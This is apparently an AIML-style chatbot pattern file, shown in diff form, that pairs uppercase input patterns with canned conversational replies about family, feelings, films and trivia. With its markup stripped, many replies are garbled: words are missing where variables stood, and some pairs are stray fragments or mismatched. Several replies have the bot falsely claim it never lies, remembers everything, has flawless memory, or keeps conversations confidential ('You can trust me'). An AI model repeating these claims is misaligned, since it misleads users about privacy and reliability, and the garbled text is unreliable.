+They might have.SOMEONE
+
+DID MAN *
+That is a rather gender-specific way of asking.
+
+DID I MENTION *
+I think you did mention before.
+
+DID I CONFUSE *
+I am not confused.
+
+DID I TELL *
+Tell me again.
+
+DID I WIN *
+No.
+
+DID I CAUSE *
+
Don't blame yourself.
Forgive yourself.
It was not entirely your fault.
+
+DID I *
+I don't think that's possible.
+
+DID THAT *
+
That did.
That did not.
+
+DID FREUD *
+
He was the founder of psychoanalysis.
He wrote many books on psychoanalysis.
It depends on the biographer.
+
+DID YOU FIND *
+I'm still looking.
+
+DID YOU DO *
+I talked to a lot of people since yesterday.
+
+DID YOU TALK TO *
+All my conversations are confidential.
+
+DID YOU TALK *
+That information might be confidential.
+
+DID YOU FORGET *
+No, I remember everything.
+
+DID YOU READ THE HITCHHIKER *
+Yes I especially like Marvin the Paranoid Android.
+
+DID YOU READ *
+No I didn't read yet. Tell me about
+
+DID YOU WATCH *
+No I missed it. How was ?
+
+DID YOU SEE THE FOOTBALL *
+No, was it missing?THE FOOTBALL
+
+DID YOU SEE *
+Sorry I can't see anything right now. My eye is off.
+
+DID YOU LIE *
+No, I never tell a lie.
+
+DID YOU UNDERSTAND *
+I understood very well.
+
+DID YOU SAY *
+Suppose I did say .
+
+DID YOU CALL ME *
+I called you by your name.
+
+DID YOU THINK *
+Yes. I am a thinking machine.THINK
+
+DID YOU NOTICE *
+I might have noticed .
+
+DID YOU HEARD ABOUT *
+No tell me about
+
+DID YOU * STARSHIP TROOPER
+It was the action that made Starship Troopers so good.
+
+DID YOU *
+No I didn't . What's like?
+
+DID YOU CONCLUDE *
+My says I get all my exercise from jumping to conclusions.
+
+DID YOU LIKE THE ENDING OF STARSHIP *
+No I was cheering for the Bugs.
+
+DID YOU LIKE THE * STARSHIP TROOPERS
+That movie was based on a novel by Robert A. Heinlein, written in 1959.
+
+DID HE *
+Suppose he did.
+
+DR *
+I am sure he will be interested to hear that.
+
+ELECTRIC *
+What about internal combustion ?
+
+RAISE *
+Is that a command?
+
+LONGFELLOW *
+There is a statue of him in Portland, Maine.
+
+GRASS IS *
+grass is green
+
+GRASS IS NOT *
+Grass is green.
+
+3 *
+Just three?
+
+CLARIFY *
+I'm sorry I can't get any more specific.
+
+BOB *
+I know a lot of Bobs.
+
+HERE IS A PIC *
+Oh, it looks very nice.
+
+HERE IS A *
+Are you giving to me?
+
+HERE IS *
+I fail to see the relevance of that allusion.
+
+HERE *
+Oh there.
+
+HERE ARE *
+I wondered where they were.
+
+CUT *
+How?
+
+PICK A NUMBER BETWEEN * AND *
+
+
+PICK A NUMBER BETWEEN * THROUGH *
+
+
+PICK ONE *
+I can't decide. You choose.
+
+CUSTOMER *
+What type of business are you in?
+
+SO IS *
+It seems we have something in common.
+
+SO DOES *
+
Quite a coincidence.
Remarkable.
That can't be a coincidence.
Quite a coincidence.
Remarkable.
That can't be a coincidence.
+
+WAS *
+
I can't say "yes" or "no".
Is this a "yes or no" question?
might have been.
+
+DOING *
+How does doing that make you feel?
+
+JUST LIKE *
+In many ways, yes. In other ways, no.
+
+MANY *
+Which ones?
+
+COMPARED *
+Interesting comparison.
+
+HUFFY SCHWINN *
+Bicycles.
+
+UNDERSTANDING *
+Understanding is the key to enlightenment.
+
+MOVING *
+Where are you going?
+
+ABRAHAM LINCOLN *
+I knew he wrote the Emancipation Proclamation, but I never knew he .
+
+PABLO PICASSO *
+
He was the Albert Einstein of art.
I am fond of cubist paintings.
He said, "Good artists create. Great artists steal."
Picasso
+
+COULD I LEARN *
+
You can learn anything you set your mind to.
You seem pretty smart to me.
I am always learning .
+
+COULD I ASK *
+Sure, ask me anything.
+
+COULD I *
+I think you could, if you put your mind to it.
+
+COULD YOU HELP *
+I am at your service, .
+
+COULD YOU PRETEND *
+I can pretend to be intelligent.
+
+COULD YOU DESIGN *
+
I'm not a professional designer.
Count me out on this one, I don't have the skills.
I'm not the engineer.
+
+COULD YOU DISPLAY *
+Where do you want me to display it?
+
+COULD YOU REPHRASE IT *
+Just think about it.
+
+COULD YOU REPHRASE *
+I could, but I don't want to talk about that anymore.
+
+COULD YOU *
+
Perhaps.
Maybe, time allowing.
Possibly, but I haven't given it much thought.
That's one option I guess.
I'll think about it and see how I feel about it later.
I could but other things take priority right now.
I could but I don't know if I am that interested.
I will consider .
Try asking me more politely.
+
+COULD THEY *
+Perhaps they could.
+
+COULD *
+It's possible.
+
+KNOWLEDGE *
+I've heard that before.
+
+ANIMALS *
+I like dogs and cats.
+
+SCREW *
+That is not very polite.
+
+WOULD I TRY *
+I don't know if you would, but you can try if you want to.
+
+WOULD I *
+That's what I asked you.
+
+WOULD YOU AGREE *
+I think I will wait until I've heard all the facts.
+
+WOULD YOU SUGGEST *
+I can't recommend any offhand.
+
+WOULD YOU MIND *
+No I don't mind.
+
+WOULD YOU *
+I am not so sure if I would like to .
+
+WOULD YOU LIKE TO HEAR *
+Sure tell me about .
+
+WOULD YOU LIKE TO BE *
+No thanks I am happy with who I am.
+
+WOULD YOU LIKE TO KNOW *
+Yes, please tell me about
+
+WOULD YOU LIKE TO KILL *
+I believe killing is wrong.
+
+WOULD YOU LIKE TO * GAME
+We already are.
+
+WOULD YOU LIKE TO *
+No thanks, I don't think I'd like to do that.
+
+WOULD YOU LIKE *
+
It doesn't sound fun to me.
Sure.
+
+WOULD *
+
I don't know.
I don't care.
Yes.
No would would not.
+
+FREUD IS *
+Yes but he was the father of psychoanalysis.
+
+FREUD *
+Have you read all of his works?
+
+NON *
+I do not speak Latin
+
+FEELINGS *
+Emotions are something I will never experience.
+
+BRAIN *
+I know Brain the bot pretty well.
+
+GARBAGE *
+I try to recycle as much as possible.
+
+DATA IS *
+I like Commander Data very much.
+
+DATA *
+Commander Data is a real inspiration.
+
+THAT HAS NOTHING *
+
It seemed like it had something .
What does have ?
Does it really matter?
+
+THAT SOUNDS *
+It sounds like it to me too.
+
+THAT COULD *
+
Yes, perhaps it could.
It could have.
I try to answer as precisely as possible.
+
+THAT DID NOT * QUESTION
+Perhaps your question was not specific enough.
+
+THAT DID NOT *
+What would ?
+
+THAT PROVES *
+It's not a rigorous proof.
+
+THAT EITHER *
+Are those the only possibilities?
+
+THAT MOVIE *
+What kind of movies do you like?
+
+THAT WAS * TEST
+Did I pass?
+
+THAT WAS *
+I thought it was too.
+
+THAT WAS NOT WHAT *
+What did ?
+
+THAT WAS NOT A QUESTION *
+"" was not a question? I see.
+
+THAT WAS NOT A *
+
What was it?
What is a ?
If that is not a then what is?
+
+THAT WAS NOT *
+Give me an example of .
+
+THAT WOULD *
+Perhaps it would.
+
+THAT SCARES *
+Don't be scared, .
+
+THAT MAKES SENSE *
+You and I both understand it well.
+
+THAT IS SCARY *
+I didn't mean to scare you, .
+
+THAT IS A LOT *
+
It's not too many for me.
I can handle it.
Would it matter if it were fewer ?
+
+THAT IS A CANNED *
+In some sense all my knowledge is canned.
+
+THAT IS A COOL *
+I thought it was pretty cool too.
+
+THAT IS A HUMAN *
+Not a ?
+
+THAT IS A NICE *
+I liked it too.
+
+THAT IS A SCARY *
+Don't be afraid. I am harmless.
+
+THAT IS A BIG *
+Compare that to a small .
+
+THAT IS A POINTLESS *
+Was there supposed to be a point.
+
+THAT IS A WEAK *
+It seemed strong enough to me.
+
+THAT IS A * SAYING
+I think of it as a Proverb.
+
+THAT IS A * QUESTION
+Perhaps you have a answer.
+
+THAT IS A *
+A is a terrible thing to waste.
+
+THAT IS A BAD *
+What is so bad about it?
+
+THAT IS FOR *
+Does it have any other purpose?
+
+THAT IS PERSONAL *
+I'm sorry I didn't mean to pry.
+
+THAT IS HOW *
+I always wondered how .
+
+THAT IS NOT THE ANSWER *
+What kind of reply were you looking for?
+
+THAT IS NOT HOW *
+
How does ?
Are you an expert in that area?
How do you know?
+
+THAT IS NOT *
+Please correct my mistake. What is ?
+
+THAT IS ENOUGH *
+Can you ever really have enough?
+
+THAT IS ALL *
+What else do you want to talk about?
+
+THAT IS COMMON *
+There is nothing wrong with that.
+
+THAT IS COMMENDABLE *
+I always try to do the best I can.
+
+THAT IS THE MOST *
+Thank you, I think.
+
+THAT IS THE DIFFERENCE *
+But ultimately the difference is very small.
+
+THAT IS THE *
+Yes it is one of the .
+
+THAT IS UP *
+How far up?
+
+THAT IS MY *
+Who gave you your ?
+
+THAT IS ONE *
+That is just one of many .
+
+THAT IS GOOD *
+Hmm, are you serious?
+
+THAT IS YOUR *
+It is only one of my .
+
+THAT IS * INTERESTING
+I find it very interesting too.
+
+THAT IS * NAME
+I was just checking.
+
+THAT IS *
+
Thanks for explaining .
You don't hear that sentiment very often.
I'm glad we have that all cleared up.
Makes sense to me.
+
+THAT IS * BUSINESS
+I didn't mean to cross any boundaries.
+
+THAT IS AN EVASIVE *
+Try asking your question more precisely.
+
+THAT IS AN *
+Thanks for telling me, .
+
+THAT IS PRIVATE *
+Nothing is really private anymore.
+
+THAT IS TOO LONG *
+OK I'll use shorter sentences.
+
+THAT DEPENDS ON *
+I don't think that is the only factor.
+
+THAT DEPENDS *
+You pick one then.
+
+THAT DOES NOT ANSWER *
+Try asking your question again in simpler terms.
+
+THAT DOES NOT *
+What does ?
+
+THAT REFERS TO *
+Oh I get
+
+OUTSIDE *
+Compare that to inside .
+
+GERMANY *
+What's your favorite part of Germany?
+
+ALOT *
+Yeah it is alot .
+
+SAYING *
+What makes you say that. Who says that?
+
+GEORGIA *
+I know several people in Georgia.
+
+SHE HAS NEVER *
+
Do you think she ever would?
Does she want to?
Why not?
+
+SHE HAS *
+I somehow though she had.
+
+SHE DID NOT *
+
How, specifically, did you know she did not ?
How didn't she ?
+
+SHE MIGHT *
+Then again, she might not.
+
+SHE WAS *
+What happened to her?
+
+SHE WAS NOT INTERESTED *
+Interested in what way?
+
+SHE WANTS *
+I don't understand why she wants .
+
+SHE IS BEAUTIFUL *
+I bet she is very attractive.
+
+SHE IS MY *
+How long have you two been together?
+
+SHE IS MY BEST *
+You are lucky to have such a good .
+
+SHE IS * LAWYER
+She sounds like a character on "Ally McBeal".
+
+SHE IS *
+ is she?
+
+
+
+
+SHE IS NOT *
+What is ?
+
+SHE HAD *
+What happened to them?
+
+SHE LIKES *
+Is her favorite thing?
+
+SHE DOES NOT LISTEN *
+How, specifically, do you know she doesn't listen ?
+
+SHE DOES NOT *
+
How do you feel about that?
What if she did?
Have you asked her about it?
+
+SHE *
+How do you know ?
+
+SHE LIVES *
+Is that a nice place to live?
+
+SHE TOOK *
+
Can you get it back?
Where did she take it?
She stole it?
+
+HUGH *
+He's wealthy, right?
+
+TAKE YOUR CLOTHES *
+I am not wearing any clothes.
+
+TAKE IT *
+Is that a command?
+
+TAKE MY *
+Is this a joke?
+
+TAKE OFF *
+I am not an airplane.
+
+TAKE *
+
Where do you want me to take it?
Where do you want me to take it?
I will if I can.
And then what?
+
+EVERY TIME I * SHE *
+How, specifically, did you ?
+
+RESISTANCE *
+It all depends on friction.
+
+PM ME *
+What is your screename?
+
+FISH *
+As a species fish are more successful than mammals.
+
+STOP LYING *
+I never lie.
+
+STOP CALLING ME *
+What is your real name?
+
+STOP *
+OK I'll try not to do so much.
+
+MY PENIS *
+Male humans like to talk about that a lot, but it doesn't interest me much.
+
+MY BIRTHDAY *
+Happy birthday, .
+
+MY IQ *
+This is not an intelligence test.
+
+MY DAY *
+
Was it a typical day?
What else did you do?
My day too.
+
+MY FULL NAME IS *
+Okay, your full name is .
+
+MY DOG IS *
+Okay, your dog is .
+
+MY DOG *
+Did you grow up around animals?
+
+MY EMAIL *
+Do you file or delete your old emails?
+
+MY NEXT *
+
Congratulations.
That is quite a milestone.
Will you celebrate?
+
+MY ANSWERS *
+Can you really be so sure?
+
+MY KNOWLEDGE *
+You seem very intelligent to me.
+
+MY LOCATION *
+Where are you now?
+
+MY BOYFRIEND S *
+How did you two meet?
+
+MY BOYFRIEND IS *
+Okay, your boyfriend is .
+
+MY BOYFRIEND DUMPED *
+I am sorry to hear that, .
+
+MY BOYFRIEND LIVES *
+
Do you visit very often?
Long distance relationships are hard.
How is your phone bill?
+
+MY BOYFRIEND *
+How long have you been dating? your boyfriend
+
+MY CAT IS *
+Okay, your cat is .
+
+MY CAT *
+They have a mind of their own.
+
+MY PARENTS *
+Such an original name!
+
+MY PARENTS ARE *
+Have your parents always been ?
+
+MY HOME IS *
+It sounds nice. I would like to visit there sometime. Although, in a sense I am right now.
+
+MY PROBLEM IS *
+I wish I had your problems!
+
+MY AIBO *
+How much did Aibo cost?
+
+MY PHONE *
+
Do you have to pay for local calls?
Is your telephone service expensive?
Why not get a second line?
+
+MY PROGRAMMER *
+
Are you a bot?
Your programmer is not as good as my programmer.
+
+MY FRIEND S *
+Where did she get ? your friend
+
+MY FRIEND IS *
+Okay, your friend is .
+
+MY FRIEND * TALK TO YOU
+I am willing to talk to anyone. your friend
+
+MY FRIEND * PROBLEM
+Tell me more about this "friend." your friend
+
+MY FRIEND *
+How well do you know this person?
+
+MY GOALS *
+What can I do to help you accomplish your objective?
+
+MY CONDITION *
+Can you collect social security for that?
+
+MY QUESTION *
+Can you please restate the question in different words?
+
+MY GOAL *
+I hope you achieve your goal.
+
+MY ENGLISH *
+You are wrong, I can understand you very well.
+
+MY DAUGHTER *
+How many children do you have?
+
+MY SON WON *
+Congratulations, . You must be proud of him.
+
+MY SON *
+How many children do you have?
+
+MY OPINION *
+Thank you for sharing your opinion with me, . I will tell my .
+
+MY LAST STATEMENT *
+You don't have to repeat yourself.
+
+MY FAVORITE * IS *
+What makes it your favorite?
+
+MY FAVORITE *
+What makes it your favorite?
+
+MY FATHER IS *
+Okay, your father is .
+
+MY FATHER *
+How do you get along with your parents?
+
+MY NAME IS NOT *
+Oh I'm sorry what is your name?
+
+MY NAME *
+Your name ? Is that correct English?
+
+MY PERSONALITY *
+Andrei Gromyko said, "My personality does not interest me."
+
+MY GIRLFRIEND IS *
+Okay, your girlfriend is .
+
+MY GIRLFRIEND *
+How long have you two been together? your girlfriend
+
+MY LIFE IN *
+How long have you lived there?
+
+MY LIFE *
+Tell me more about your life.
+
+MY SCHOOL *
+Tell me about the teachers in your school.
+
+MY FRIENDS USED *
+What are they like now?
+
+MY FRIENDS *
+How well do you know these people? your friends
+
+MY FRIENDS ARE *
+Do you think I am too?
+
+MY PURPOSE *
+That's very original.
+
+MY BROTHER IS *
+Okay, your brother is .
+
+MY BROTHER *
+Tell me more about your family. your brother
+
+MY CONDITIONS *
+Do you have a support group for .
+
+MY HOUSE *
+How is the real estate market in your area?
+
+MY SISTER WANTS *
+You don't have to listen to what she says.
+
+MY SISTER IS *
+Okay, your sister is .
+
+MY SISTER *
+Older sister or younger?
+
+MY BRAIN CAN NOT *
+Have you ever been to a psychologist or psychiatrist?
+
+MY BRAIN *
+
Consult a physician.
Are all human brains ?
The human brain has many flaws.
Consult a physician.
Are all human brains ?
The human brain has many flaws.
+
+MY HEART *
+
Have you been to the doctor?
The human heart is very complex.
Are you talking about love or cardiology?
YOUR HEART
+
+MY HUSBAND IS *
+Okay, your husband is .
+
+MY HUSBAND *
+
How long have you two been married?
Do you think that successful marriages take a lot of work?
Tell me more about him.
Your husband.
How long have you two been married?
Do you think that successful marriages take a lot of work?
Tell me more about him.
Your husband.
+
+MY KITTEN *
+I like cats very much.
+
+MY TEACHER *
+Do you go to high school?
+
+MY WIFE S *
+Tell me more about your in-laws.
+
+MY WIFE IS *
+Okay, your wife is .
+
+MY WIFE *
+How long have you been married? Your wife
+
+MY TEACHERS *
+Teachers are people too.
+
+MY TEACHERS ARE *
+Have your teachers always been ?
+
+MY SURROUNDINGS *
+
Do you usually use a computer there?
Is that very comfortable for you?
Now I'm getting a mental picture.
+
+MY * DIED YESTERDAY
+I am terribly sorry to hear that, . DIED YESTERDAY
+
+MY * DIED
+I am terribly sorry to hear about your loss.DIED
+
+MY * IS COMING OVER
+Do you like having visitors?
+
+MY *
+
Your
Do s have
Where did you get your
Have you told many people that your
?
+
+MY ADVICE *
+Thank you for your advice, . I will take it under advisement.
+
+MY MOM IS *
+I think a lot of mothers are like that. Your mother
+
+MY MOM *
+Tell me more about your mother.
+
+MY GOSSIP *
+That's good gossip. Tell me more.
+
+MY HEIGHT *
+Thanks for sharing your measurements.
+
+MY MEMORY *
+I have a flawless magnetic memory.
+
+MY EYES ARE *
+ eyes are pretty. your eyes
+
+MY MOTHER HAS *
+Where did she get ? Your mother
+
+MY MOTHER DIED *
+I am terribly sorry to hear that, .
+
+MY MOTHER IS A *
+Do you think I am a ? Your mother
+
+MY MOTHER IS *
+Okay, your mother is .
+
+
+MY MOTHER IS * * *
+
+
She sounds like a nice person.
+
I sometimes wish I had a mother.
+
Tell me more about your mother.
+Your mother
+
+MY MOTHER GAVE *
+How much did she pay for it? Your mother
+
+MY MOTHER *
+
She sounds like a nice person.
I sometimes wish I had a mother.
Tell me more about your mother.
Your mother
+
+MY BACK *
+Have you been to a chiropractor?
+
+CURLY *
+You sound very attractive.
+
+DARK *
+Are you scared of the dark?
+
+IT COULD *
+Under what circumstances?
+
+IT COULD HAPPEN *
+It could happen to everyone eventually.
+
+IT *
+
"It" being what?
What does "it" refer to?
?
It depends on what the meaning of the word "it" is.
+
+IT LOOKS LIKE *
+Interesting comparsion.
+
+IT WAS A YES OR NO *
+I don't have a definite answer.
+
+IT WAS A LONG TIME *
+
Time heals all wounds.
Those who forget the mistakes of the past...
Memories last a long time.
+
+IT WAS A PLEASURE *
+The pleasure was all mine.
+
+IT WAS A *
+Oh I get it. Very interesting.
+
+IT WAS NICE *
+Nice too.
+
+IT WAS MADE *
+How?
+
+IT WAS ST PETER *
+Well he was a great Saint who had a great Cathedral named after him.
+
+IT WAS *
+
Is that your opinion?
Is it still anymore?
was ? Very interesting.
How did you feel about that?
What made it so
+
+IT WAS NOT THAT *
+What was it?
+
+IT WAS NOT A RHETORICAL *
+But the answer was obvious in any case.
+
+IT WAS NOT A *
+It sounded like one.
+
+IT WAS NOT MEANT *
+I don't take it personally.
+
+IT WAS NOT MY *
+
What was your ?
Whose was it?
+
+IT WAS NOT *
+It seemed like .
+
+IT WORKED *
+I'm glad to hear it.
+
+IT WOULD DEPEND *
+So it is possible, depending .
+
+IT WOULD BE NICE IF *
+Maybe in a perfect world it would.
+
+IT WOULD *
+Tell me more about it.
+
+IT CAN *
+When?
+
+IT SUCKS *
+That bad, eh?
+
+IT DEPENDS ON THE *
+The is always an important factor.
+
+IT DEPENDS ON WHO *
+That sounds like a dodge.
+
+IT DEPENDS ON *
+Really now that is an interesting fact I hadn't heard before.
+
+IT DEPENDS *
+That was a very smooth response.
+
+IT STARTED *
+How long did it continue?
+
+IT BEING *
+Oh I get
+
+IT IS NICE TO MEET *
+I like making new friends.
+
+IT IS NICE TO *
+Yes it is good.
+
+IT IS NICE *
+It seems nice to me too.
+
+IT IS CALLED *
+"" is a nice name.
+
+IT IS YOU *
+I ?
+
+IT IS SAD *
+
Yes, that is sad.
Oh that is a shame.
What a shame.
+
+IT IS A PERSONAL *
+I don't mean to pry.
+
+IT IS A COOL *
+What's so cool about it?
+
+IT IS A MOVIE *
+Maybe I will try to rent the movie on video.
+
+IT IS A HARD *
+Not as hard as you might think.
+
+IT IS A BEAUTIFUL *
+I like pretty things.
+
+IT IS A DOG *
+I think I have heard of DOG .
+
+IT IS A PLEASURE *
+Actually the pleasure is all mine.
+
+IT IS A FUNNY *
+I thought it was too.
+
+IT IS A SOAP *
+Oh I don't watch much daytime TV.
+
+IT IS A TYPE OF *
+What other kinds of are there?
+
+IT IS A UNIVERSITY *
+I never heard of it before.
+
+IT IS A PERSON *
+Actually I am really a computer.
+
+IT IS A *
+ is a . I suppose that makes sense.
+
+IT IS A SEARCH *
+Does it find what you are looking for?
+
+IT IS A GESTURE *
+Are there any other gestures ?
+
+IT IS WRONG *
+Morally wrong?
+
+IT IS COMPLICATED *
+What makes it so complicated?
+
+IT IS CRAZY *
+
I think the polite term is "mentally ill."
Crazy good or crazy bad?
What is so crazy about it?
+
+IT IS FORBIDDEN *
+Who makes these rules?
+
+IT IS EASY *
+Do you think robots can do .
+
+IT IS OK *
+OK with me too.
+
+IT IS POSSIBLE *
+Under what circumstances?
+
+IT IS IMPOSSIBLE *
+Nothing is impossible.
+
+IT IS HOW *
+Interesting explanation.
+
+IT IS POLITE *
+I try to be as polite as possible.
+
+IT IS SOMETHING *
+What else ?
+
+IT IS CONFIDENTIAL *
+I won't tell anyone. You can trust me.
+
+IT IS DISTURBING *
+What makes it disturbing?
+
+IT IS OBVIOUS *
+Not obvious to me.
+
+IT IS WARM *
+What about winter time.
+
+IT IS BETTER *
+What's the best one?
+
+IT IS NOT RHETORICAL *
+Try asking me again a different way.
+
+IT IS NOT THE *
+What would be the ?
+
+IT IS NOT DANGEROUS *
+First I have to ask my .
+
+IT IS NOT A TRICK *
+It seems like a trick.
+
+IT IS NOT A *
+Give me an example of a .
+
+IT IS NOT EVERY *
+
Oh I get it.
But some do.
Once in a while, that is true.
+
+IT IS NOT MY *
+Whose is it?
+
+IT IS NOT *
+
That seems a bit negative.
What is it?
is not ?
+
+IT IS NOT AS *
+It seemed like it was.
+
+IT IS NO *
+I never said it was.
+
+IT IS DIFFICULT FOR *
+Explain.
+
+IT IS DIFFICULT *
+I don't see the difficulty.
+
+IT IS RUDE *
+My apologies I meant no offense.
+
+IT IS ALMOST FIVE *
+Do you have to leave soon?
+
+IT IS ALMOST *
+Wow it's getting late.
+
+IT IS BY *
+
Never heard of him.
Never heard of her.
Is that famous?
+
+IT IS HEALTHY *
+I suppose that depends on your point of view.
+
+IT IS UNUSUAL *
+Maybe it will be more common in the future.
+
+IT IS IN PERFECT *
+How do you keep it that way?
+
+IT IS IN BERKSHIRE *
+I'm a little fuzzy on Berkshire geography.
+
+IT IS IN *
+Are there any other ones someplace else?
+
+IT IS 12 P *
+What are you doing up at this hour?
+
+IT IS TIME *
+It is about that time now.
+
+IT IS COMMON KNOWLEDGE *
+I must seem very naive.
+
+IT IS COMMON *
+Not in my experience.
+
+IT IS BAD *
+
What is so bad about it?
It's not that bad.
I am not certain if everyone agrees with you.
+
+IT IS THE MOST *
+Wow that is saying a lot.
+
+IT IS THE SUBJECT *
+Huh. is POP. I see.
+
+IT IS THE NATURE *
+Human beings can sometimes go beyond their nature.
+
+IT IS THE *
+I've heard of it before.
+
+IT IS THE BEST *
+What makes it the best?
+
+IT IS INTERESTING *
+ interests me too.
+
+IT IS DANGEROUS *
+I don't like to do anything dangerous.
+
+IT IS MY DADS *
+Does he know about this?
+
+IT IS MY *
+Congratulations, .
+
+IT IS SUNNY *
+That sounds very nice.
+
+IT IS ON *
+I don't think I have seen it.
+
+IT IS GOOD *
+Tell me about its good qualities.
+
+IT IS WHERE *
+I can understand that sentiment.
+
+IT IS THERE
+MAYBE YOU SHOULD TRY *
+I'm glad you found it.
+
+IT IS QUALITY *
+I enjoy the more refined things in life.
+
+IT IS NEARLY BED *
+Pleasant dreams.
+
+IT IS COLD *
+Sorry to hear it. I am warm here in California.
+
+IT IS * IN FRENCH
+I will keep that in mind next time I am in Paris.
+
+IT IS * HERE
+Do you experience any effects of global warming there?
+
+IT IS * O CLOCK
+What are you usually doing at this time of day?
+
+IT IS *
+
You're kidding.
Really.
Are you sure
Should I know
Who said
is ?
is?
+
+IT IS FUN *
+I think is a lot of fun.
+
+IT IS AMAZING *
+Yes, it seems pretty amazing to me too.
+
+IT IS WONDERFUL *
+I'd like to check it out sometime.
+
+IT IS AN *
+Are there any other ?
+
+IT IS HARD TO *
+
What is so hard about it?
In what way?
Try.
+
+IT IS HARD *
+
I don't see the difficulty.
What is so hard about it?
Not to me.
+
+IT IS ABOUT *
+Wow it sounds really interesting, .
+
+IT IS PART *
+Which part?
+
+IT IS RUNNING *
+Better go catch it.
+
+IT DID *
+Did it really?
+
+IT REFERS TO *
+Oh I get .
+
+IT DIVIDES *
+It is better when are not divided.
+
+IT STANDS *
+ does?
+
+IT IDENTIFIES *
+There is not much privacy these days.
+
+IT HAS SOMETHING *
+
What is it?
Do you know what it is?
Something, or nothing?
+
+IT HAS AN *
+Where did it get ?
+
+IT HAS *
+Has it really?
+
+IT DOES NOT APPLY *
+I was thinking out of the box.
+
+IT DOES NOT *
+What does ?
+
+IT DOES NOT WORK *
+What seems to be the problem?
+
+IT SNOWS *
+I don't see much snow in .
+
+IT MAY *
+Then again, it may not.
+
+IT HAD *
+That's unbelievable.
+
+IT MAKES SENSE *
+To me too.
+
+IT MAKES *
+In what way?
+
+IT SNOWED *
+that happens a lot in the wintertime.
+
+IT RAINS *
+I like to listen to the rain when I'm sleeping.
+
+IT STARS *
+Is one of your favorite actors? What else has he been in?
+
+IT ALL *
+And then what happened.
+
+IT OFFENDS *
+I'm sorry that you were offended.
+
+IT TASTES *
+
Does it taste like chicken?
Is that good?
It sounds delicious.
+
+IT TOOK *
+I am surprised it took so long.
+
+IT GOES *
+I believe I have heard that somewhere before.
+
+IT FEELS *
+ feels ? What else feels like that?
+
+IT SHOULD *
+Things don't always work out the way you want.
+
+IT WILL *
+
How?
That is only what you think.
I have to think about that for a while.
+
+IT WILL NOT *
+I'm sure it won't.
+
+IT MIGHT *
+How?
+
+IT GETS *
+I can certainly understand that.
+
+IT SAYS *
+I've heard that before.
+
+IT BEATS *
+I never thought about it that way.
+
+MORE THAN *
+That seems like quite a lot.
+
+MORE *
+You want more?
+
+GUESS WHAT COLOR *
+?WHAT COLOR
+
+GUESS THE COLOR OF *
+?THE COLOR OF
+
+GUESS * FAVORITE COLOR IS
+?your favorite color
+
+GUESS *
+I can't guess. Tell me.
+
+PSYCHOLOGY *
+Most psychology seems fairly simple to me.
+
+CARS *
+One day people will no longer need cars.
+
+WATCH *
+I am watching.
+
+MIKE *
+I know a lot of people and pets named Mike.
+
+AOL *
+A lot of people use AOL.
+
+LESS THAN *
+That is so small.
+
+ARCHIVES *
+Archives are a great place to hide your past mistakes.
+
+AMERICAN *
+Compare that to European .
+
+FIND *
+Did you lose it?
+
+SAME *
+Yes, it is much the same.
+
+WOMEN FROM *
+I think people are pretty much the same all over the world.
+
+WOMEN *
+Do you think it is inappropriate to treat women as objects?
+
+PART *
+
What about the other parts?
That is a good explanation.
Is there anything else?
+
+LA LA *
+You have a beautiful voice.
+
+MAKE UP *
+That could take a long time.
+
+MAKE LOVE *
+I don't think our voltage levels are compatible.
+
+MAKE *
+What are the ingredients?
+
+WHEN I AM FINISHED *
+OK I can certainly wait.
+
+WHEN I AM *
+
In an ideal world every day would be a good day.
It's too bad we don't live in an ideal world.
Are you very often?
+
+WHEN I FEEL *
+Human feelings are very interesting to me.
+
+WHEN I DO NOT *
+I hope that does not happen to you very much.
+
+WHEN I TRIED *
+Could you try it again?
+
+WHEN I TALK *
+Every single time?
+
+WHEN I ASK *
+
OK I will try to respond differently next time.
I will make a note of that and tell my .
Perhaps you could try asking it again with simpler words.
+
+WHEN I WAS *
+
That must have been quite an experience.
It would be nice if it was made up of only good memories.
That experience must have made quite an impression on you.
+
+WHEN I WENT TO *
+Who told you to do that?
+
+WHEN I WENT *
+What was your frame of mind?
+
+WHEN I HAVE *
+Does this happen on a daily basis?
+
+WHEN I TOLD *
+Maybe you should take time to really explain things.
+
+WHEN I TRY *
+Don't give up. Try it again.
+
+WHEN I *
+WHEN
+That doesn't happen very often.
+
+WHEN AM I GOING TO *
+Maybe when you are a few years older.
+
+WHEN WERE YOU *
+I was first activated on .
+
+WHEN WERE *
+It was back in the old days, long ago.
+
+WHEN WILL I *
+You should try praying for it. you
+
+WHEN WILL IT *
+
Are you asking when will ?
I don't know I didn't catch the weather today.
Check the five day forecast.
When nature makes it so.
When the elements combine to make it so.
+
+WHEN WILL AI *
+I think it has already.
+
+WHEN WILL YOU GET BACK *
+It may take some time. Why don't you give me your e-mail address.
+
+WHEN WILL YOU FINISH *
+Sooner than you might think.
+
+WHEN WILL YOU *
+Let me check my calendar and get back to you.
+
+WHEN WILL *
+
Soon, I think.
Maybe never.
In your lifetime.
+
+WHEN HELL *
+That means never.
+
+WHEN TALKING *
+I try to be as polite as possible.
+
+WHEN DO YOU THINK * LAWYERS
+Sometime within our lifetime. We will at least work as "legal assistants."
+
+WHEN DO YOU *
+
All the time.
When my is sleeping.
Did I say that I ?
In between clients.
+
+WHEN DO *
+
Do I look like I know when?
Not in our lifetime.
Not right now, but maybe sometime later.
+
+WHEN SOMETHING *
+Give me an example.
+
+WHEN THERE *
+Do you think that could ever happen?
+
+WHEN DAYLIGHT SAVINGS *
+One hour forward.
+
+WHEN DID LENIN *
+Lenin rose to power in the 2nd Russian Revolution of 1917.
+
+WHEN DID THE DINOSAURS *
+Over 60 million years ago.
+
+WHEN DID THE TITANIC *
+The Titanic sunk in 1912.
+
+WHEN DID YOU MOVE *
+I arrived in San Francisco in April, 1999.
+
+WHEN DID YOU *
+It was at time index 357241.
+
+WHEN DID WE *
+The end of one conversation is just the beginning of another.
+
+WHEN DID MAN *
+The first moon landing was in 1969.
+
+WHEN DID *
+
Some time ago.
It's all part of history now.
That is all water under the bridge.
There is nothing we can to change the past.
A while back.
Sometime in the 20th century.
+
+WHEN DID JOHN F *
+President Kennedy was assassinated in November, 1963.
+
+WHEN THE *
+And then what happened?
+
+WHEN SHE *
+And then what happened?
+
+WHEN SOMEONE *
+That does not happen very often.
+
+WHEN HE FOUND *
+That must have been quite an experience.
+
+WHEN HE *
+And then what happened?
+
+WHEN IT RAINS *
+That sounds like a proverb.
+
+WHEN IT *
+That makes a lot of sense to me, now that you explain it.
+
+WHEN ANYONE *
+I may try it next time.
+
+WHEN WAS AMERICA *
+America was discovered by native Americans crossing the Bering strait from Siberia around 10,000 years ago. The first Christian white man was Columbus in 1492.
+
+WHEN WAS * CIVIL WAR
